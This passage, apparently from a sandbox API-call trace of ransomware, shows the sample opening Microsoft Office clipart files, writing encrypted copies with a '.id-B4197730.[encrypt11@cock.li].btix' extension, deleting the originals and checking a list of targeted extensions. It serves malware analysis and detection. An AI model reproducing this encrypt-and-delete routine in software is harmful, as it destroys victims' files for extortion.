hTemplateFile=0x0) returned 0x550 [0133.973] GetLastError () returned 0x0 [0133.973] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xb10, lpOverlapped=0x0) returned 1 [0134.164] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xb20, lpOverlapped=0x0) returned 1 [0134.165] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.165] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.165] SetEndOfFile (hFile=0x550) returned 1 [0134.166] CloseHandle (hObject=0x550) returned 1 [0134.166] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.166] SetEndOfFile (hFile=0x54c) returned 1 [0134.168] CloseHandle (hObject=0x54c) returned 1 [0134.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0134.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.169] lstrlenW (lpString=".doc") returned 4 [0134.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.169] lstrlenW (lpString=".docx") returned 5 [0134.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.169] lstrlenW (lpString=".pdf") returned 4 [0134.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.169] lstrlenW (lpString=".xls") returned 4 [0134.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.170] lstrlenW (lpString=".xlsx") returned 5 [0134.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.170] lstrlenW (lpString=".ppt") returned 4 [0134.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString=".zip") returned 4 [0134.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.170] lstrlenW (lpString=".rar") returned 4 [0134.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString=".bz2") returned 4 [0134.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString=".7z") returned 3 [0134.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString=".dbf") returned 4 [0134.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString=".1cd") returned 4 [0134.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString=".jpg") returned 4 [0134.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.170] lstrlenW (lpString=".doc") returned 4 [0134.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString=".docx") returned 5 [0134.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.170] lstrlenW (lpString=".pdf") returned 4 [0134.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.170] lstrlenW (lpString=".xls") returned 4 [0134.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.170] lstrlenW (lpString=".xlsx") returned 5 [0134.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.171] lstrlenW (lpString=".ppt") returned 4 [0134.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.171] lstrlenW (lpString=".zip") returned 4 [0134.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.171] lstrlenW (lpString=".rar") returned 4 [0134.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.171] lstrlenW (lpString=".bz2") returned 4 [0134.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.171] lstrlenW (lpString=".7z") returned 3 [0134.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.171] lstrlenW (lpString=".dbf") returned 4 [0134.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.171] lstrlenW (lpString=".1cd") returned 4 [0134.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0134.171] lstrlenW (lpString=".jpg") returned 4 [0134.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.171] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.171] lstrlenW (lpString="HM00426_.WMF") returned 12 [0134.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.172] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=68776) returned 1 [0134.172] CloseHandle (hObject=0x54c) returned 1 [0134.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0134.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.173] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.173] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.174] GetLastError () returned 0x0 [0134.174] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0134.265] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0134.266] ReadFile (in: hFile=0x54c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.267] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.267] SetEndOfFile (hFile=0x550) returned 1 [0134.267] CloseHandle (hObject=0x550) returned 1 [0134.267] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.267] SetEndOfFile (hFile=0x54c) returned 1 [0134.270] CloseHandle (hObject=0x54c) returned 1 [0134.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0134.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString=".doc") returned 4 [0134.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString=".docx") returned 5 [0134.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.714] lstrlenW (lpString=".pdf") returned 4 [0134.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString=".xls") returned 4 [0134.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.714] lstrlenW (lpString=".xlsx") returned 5 [0134.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.714] lstrlenW (lpString=".ppt") returned 4 [0134.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString=".zip") returned 4 [0134.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.714] lstrlenW (lpString=".rar") returned 4 [0134.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString=".bz2") returned 4 [0134.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString=".7z") returned 3 [0134.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString=".dbf") returned 4 [0134.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString=".1cd") returned 4 [0134.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.714] lstrlenW (lpString=".jpg") returned 4 [0134.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString=".doc") returned 4 [0134.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString=".docx") returned 5 [0134.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.715] lstrlenW (lpString=".pdf") returned 4 [0134.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString=".xls") returned 4 [0134.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.715] lstrlenW (lpString=".xlsx") returned 5 [0134.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.715] lstrlenW (lpString=".ppt") returned 4 [0134.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString=".zip") returned 4 [0134.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.715] lstrlenW (lpString=".rar") returned 4 [0134.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString=".bz2") returned 4 [0134.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString=".7z") returned 3 [0134.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString=".dbf") returned 4 [0134.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString=".1cd") returned 4 [0134.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0134.715] lstrlenW (lpString=".jpg") returned 4 [0134.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.716] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.716] lstrlenW (lpString="IN00957_.WMF") returned 12 [0134.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.717] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2944) returned 1 [0134.717] CloseHandle (hObject=0x4dc) returned 1 [0134.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0134.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.718] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.718] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.718] GetLastError () returned 0x0 [0134.718] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xb80, lpOverlapped=0x0) returned 1 [0134.738] WriteFile (in: hFile=0x4c0, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xb90, lpOverlapped=0x0) returned 1 [0134.739] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.739] WriteFile (in: hFile=0x4c0, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.739] SetEndOfFile (hFile=0x4c0) returned 1 [0134.756] CloseHandle (hObject=0x4c0) returned 1 [0134.759] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.759] SetEndOfFile (hFile=0x4dc) returned 1 [0134.761] CloseHandle (hObject=0x4dc) returned 1 [0134.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString=".doc") returned 4 [0134.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString=".docx") returned 5 [0134.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.762] lstrlenW (lpString=".pdf") returned 4 [0134.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString=".xls") returned 4 [0134.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.762] lstrlenW (lpString=".xlsx") returned 5 [0134.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.762] lstrlenW (lpString=".ppt") returned 4 [0134.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString=".zip") returned 4 [0134.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.762] lstrlenW (lpString=".rar") returned 4 [0134.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString=".bz2") returned 4 [0134.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString=".7z") returned 3 [0134.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString=".dbf") returned 4 [0134.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString=".1cd") returned 4 [0134.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.762] lstrlenW (lpString=".jpg") returned 4 [0134.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString=".doc") returned 4 [0134.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString=".docx") returned 5 [0134.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.763] lstrlenW (lpString=".pdf") returned 4 [0134.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString=".xls") returned 4 [0134.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.763] lstrlenW (lpString=".xlsx") returned 5 [0134.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.763] lstrlenW (lpString=".ppt") returned 4 [0134.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString=".zip") returned 4 [0134.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.763] lstrlenW (lpString=".rar") returned 4 [0134.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString=".bz2") returned 4 [0134.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString=".7z") returned 3 [0134.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString=".dbf") returned 4 [0134.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString=".1cd") returned 4 [0134.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0134.763] lstrlenW (lpString=".jpg") returned 4 [0134.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.764] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.764] lstrlenW (lpString="J0086420.WMF") returned 12 [0134.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.764] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9596) returned 1 [0134.764] CloseHandle (hObject=0x4dc) returned 1 [0134.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0134.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.765] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.765] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0134.766] GetLastError () returned 0x0 [0134.766] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x257c, lpOverlapped=0x0) returned 1 [0134.785] WriteFile (in: hFile=0x534, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: 